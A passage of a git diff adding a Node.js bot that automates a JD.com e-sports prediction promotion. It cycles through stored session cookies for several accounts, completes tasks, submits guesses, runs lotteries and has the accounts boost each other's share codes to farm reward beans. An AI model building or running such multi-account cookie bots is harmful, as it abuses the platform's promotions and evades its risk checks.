resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lol.js b/backUp/jd_lol.js new file mode 100644 index 0000000..79dbd99 --- /dev/null +++ b/backUp/jd_lol.js @@ -0,0 +1,226 @@ +/** + 电竞预言家瓜分京豆,链接: u.jd.com/3wyVFhp + 必须得做完任务才能参与竞猜,有加购,没开卡,参与竞猜后,如果猜对了,第二天可以瓜分京豆(蚊子腿。。。) + 暂时还有24号和25号 2场,,, + cron 23 10,11 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_lol.js + 环境变量:ANSWERCODE, 选择哪一个队伍,默认随机; 例:ANSWERCODE="A" 选择第一个队伍,ANSWERCODE="B" 选择第二个队伍 + PS:只有押对队伍才能在第二天瓜分豆子。如果觉得哪个队伍胜率大,可以自己修改环境变量,梭哈一个队伍 + */ +const $ = new Env('电竞预言家'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +// 环境变量:ANSWERCODE, 选择哪一个队伍,默认随机; 例:ANSWERCODE="A" 选择第一个队伍,ANSWERCODE="B" 选择第二个队伍 +let answerCode = $.isNode() ? (process.env.ANSWERCODE ? process.env.ANSWERCODE : `999`):`999`; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +let shareList = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if(Date.now() > '1636560000000'){ + console.log(`活动已结束`); + return ; + } + const promiseArr = cookiesArr.map((ck, index) => main(ck)); + await Promise.all(promiseArr); + console.log(JSON.stringify(shareList)); + if(shareList.length === 0){return;} + let allShareList = []; + for (let i = 0; i < cookiesArr.length; i++) { + let cookie = cookiesArr[i]; + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + for (let j = 0; j < shareList.length; j++) { + if(shareList[j].user === userName){ + allShareList.push(shareList[j]); + break; + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + let cookie = cookiesArr[i]; + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + let canHelp = true; + let helpTime = 0; + for (let j = 0; j < allShareList.length && canHelp && helpTime < 5; j++) { + let oneCodeInfo = allShareList[j]; + if(oneCodeInfo.user === userName || oneCodeInfo.need === 0){ + continue; + } + console.log(`${userName}去助力:${oneCodeInfo.user},助力码:${oneCodeInfo.code}`); + let doSupport = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"shareId":"${oneCodeInfo.code}","apiMapping":"/api/doSupport"}&t=${Date.now()}&loginType=2`); + if(doSupport.status === 7){ + console.log(`助力成功`); + oneCodeInfo.need--; + helpTime++; + }else if(doSupport.status === 5){ + console.log(`助力次数已用完`); + canHelp=false; + } + console.log(`助力结果:${JSON.stringify(doSupport)}`); + await $.wait(2000); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}); + +async function main(cookie) { + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/activityRules"}&t=${Date.now()}&loginType=2`); + let homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); + let getTaskList = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/task/getTaskList"}&t=${Date.now()}&loginType=2`); + await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/isRisk"}&t=${Date.now()}&loginType=2`); + if(JSON.stringify(homePage) === '{}' || JSON.stringify(getTaskList) === '{}'){ + console.log(`${userName},获取活动详情失败`); + return ; + } + console.log(`${userName},获取活动详情成功`); + await $.wait(2000); + let time = 0; + let runFlag = false; + do { + runFlag = false; + for (let i = 0; i < getTaskList.length; i++) { + let oneTask = getTaskList[i]; + if(oneTask.totalNum === oneTask.finishNum){ + console.log(`${userName},任务:${oneTask.taskName},已完成`); + continue; + } + console.log(`${userName},任务:${oneTask.taskName},去执行`); + if(oneTask.type === 'JOIN_SHOPPING_CART'){ + let getReward = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`); + console.log(`${userName},执行结果:${JSON.stringify(getReward)}`); + await $.wait(2000); + } + if(oneTask.type === 'BROWSE_TASK' || oneTask.type === 'FOLLOW_CHANNEL_TASK'){ + let doInfo = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2`); + let time = 2; + if(oneTask.browseTime > 0){ + time = oneTask.browseTime; + } + await $.wait(time*1000); + let getReward = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","timeStamp":${doInfo.timeStamp},"activityDate":"${homePage.activityDate}","apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`); + console.log(`${userName},执行结果:${JSON.stringify(getReward)}`); + } + if(oneTask.type === 'FOLLOW_SHOP_TASK'){ + let doTask = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2`); + console.log(`${userName},执行结果:${JSON.stringify(doTask.rewardVo)}`); + } + runFlag = true; + } + time ++; + if(runFlag && time < 2){ + await $.wait(1000); + getTaskList = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/task/getTaskList"}&t=${Date.now()}&loginType=2`); + } + }while (runFlag && time < 2); + let questions = homePage.questions; + let questionInfo = {}; + for (let i = 0; i < questions.length; i++) { + questionInfo[questions[i].answerCode] = questions[i].skuName; + } + let thisCode = ''; + if(answerCode === '999'){ + thisCode = Math.round((Math.random()*10))%2 === 0 ? "A" : "B"; + console.log(`\n没有设置环境变量ANSWERCODE,随机选择队伍:${thisCode}\n`) + }else{ + thisCode = answerCode; + } + if(thisCode){ + if(homePage.userAnswerCode === null){ + await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","apiMapping":"/api/checkGuess"}&t=${Date.now()}&loginType=2`); + + await $.wait(1000); + console.log(`${userName},选择队伍:${questionInfo[thisCode]}`); + let guessAnswer = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","answerCode":"${thisCode}","apiMapping":"/api/guessAnswer"}&t=${Date.now()}&loginType=2`); + console.log(`${userName},选择返回:${JSON.stringify(guessAnswer)}`); + await $.wait(1000); + homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); + + } + }else if(homePage.userAnswerCode === null){ + console.log(`${userName},没有选择答案`); + }else{ + console.log(`${userName},已选择队伍:${questionInfo[homePage.userAnswerCode]}`); + } + await $.wait(1000); + if(homePage.lotteryButtonStatus === 1){ + console.log(`${userName},进行一次抽奖`); + let lottery = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","apiMapping":"/api/lottery/lottery"}&t=${Date.now()}&loginType=2`); + console.log(`${userName},抽奖结果:${JSON.stringify(lottery)}`); + } + let shareId = homePage.shareId; + if(shareId){ + let initSupport = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"shareId":"${shareId}","apiMapping":"/api/initSupport"}&t=${Date.now()}&loginType=2`); + console.log(`\n${userName},助力码:${shareId},已被助力:${initSupport.supportedNum}次,需要被助力:${initSupport.supportNeedNum}次,当前倍数:${initSupport.doubleNum}倍`); + let need = Number(initSupport.supportNeedNum) - Number(initSupport.supportedNum); + if(need > 0){ + shareList.push({'user':userName,'code':shareId,'need':need}); + } + } + let activityDateList = homePage.activityDateList; + for (let i = 0; i < activityDateList.length; i++) { + let activityDate = activityDateList[i]; + let homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":${activityDate},"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); + await $.wait(2000); + if(homePage.lotteryButtonStatus === 2){ + console.log(`领取${activityDate}竞猜奖励`); + let lotteryInfo = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${activityDate}","apiMapping":"/api/lottery"}&t=${Date.now()}&loginType=2`); + console.log(JSON.stringify(lotteryInfo)); + await $.wait(2000); + } + } +} +async function takeRequest(cookie,body){ + let url = 'https://api.m.jd.com/api'; + const headers = { + 'Origin' : `https://dnsm618-100million.m.jd.com`, + 'Cookie' : cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://dnsm618-100million.m.jd.com/`, + 'Host' : `api.m.jd.com`, + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + let myRequest = {url: url, headers: headers,body:body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if(err){ + console.log(err); + }else{ + data = JSON.parse(data); + if(data && data.data && JSON.stringify(data.data) === '{}'){ + console.log(JSON.stringify(data)) + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(data.data || {}); + } + }) + }) +} + + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new 